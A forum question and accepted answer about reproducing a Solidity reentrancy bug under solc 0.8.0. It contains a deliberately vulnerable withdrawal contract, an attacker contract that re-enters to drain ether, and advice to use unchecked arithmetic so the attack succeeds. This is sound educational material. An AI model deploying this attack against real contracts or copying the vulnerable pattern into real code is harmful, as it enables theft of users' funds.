Reentrant Attacks – How to Reproduce the Reentrancy Bug

reentrant-attacks

I'm trying to reproduce the reentrancy bug with solc 0.8.0:

I have two contracts,

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Reentrancy {
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        require(_weiToWithdraw <= withdrawalLimit);
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        (bool success, ) = (msg.sender.call{value: _weiToWithdraw}(""));
        require(success);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }
}

And the other one to attack the vulnerable contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Reentrancy.sol";

contract AttackReentrancy {
    Reentrancy public reentrancy;

    constructor(address _reentrancyAddress) {
        reentrancy = Reentrancy(_reentrancyAddress);
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        reentrancy.depositFunds{value: 1 ether}();
        reentrancy.withdrawFunds(1 ether);
    }

    function collectEther() public {
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {
        if (address(reentrancy).balance > 1 ether) {
            reentrancy.withdrawFunds(1 ether);
        }
    }
}

But when I invoke it with truffle it just throws exception on reentrancy.withdrawFunds(1 ether);, and I got Error: Returned error: VM Exception while processing transaction: revert

So, is there any built-in protection enabled in the sol compiler?

Best Answer

The reason your reentrancy keeps failing is this line: balances[msg.sender] -= _weiToWithdraw;

After 0.8.0 the compiler automatically checks for under- and over-flow errors and throws in case that happens. Since balances is a map of address to uint, there are no values under 0 and after trying to withdraw more than you have on balance, the contract will try to decrease the amount in balances under the 0, causing the underflow and throwing an error, reverting all the changes.

You can use unchecked{balances[msg.sender] -= _weiToWithdraw;} to see if that fixes it.

Related Topic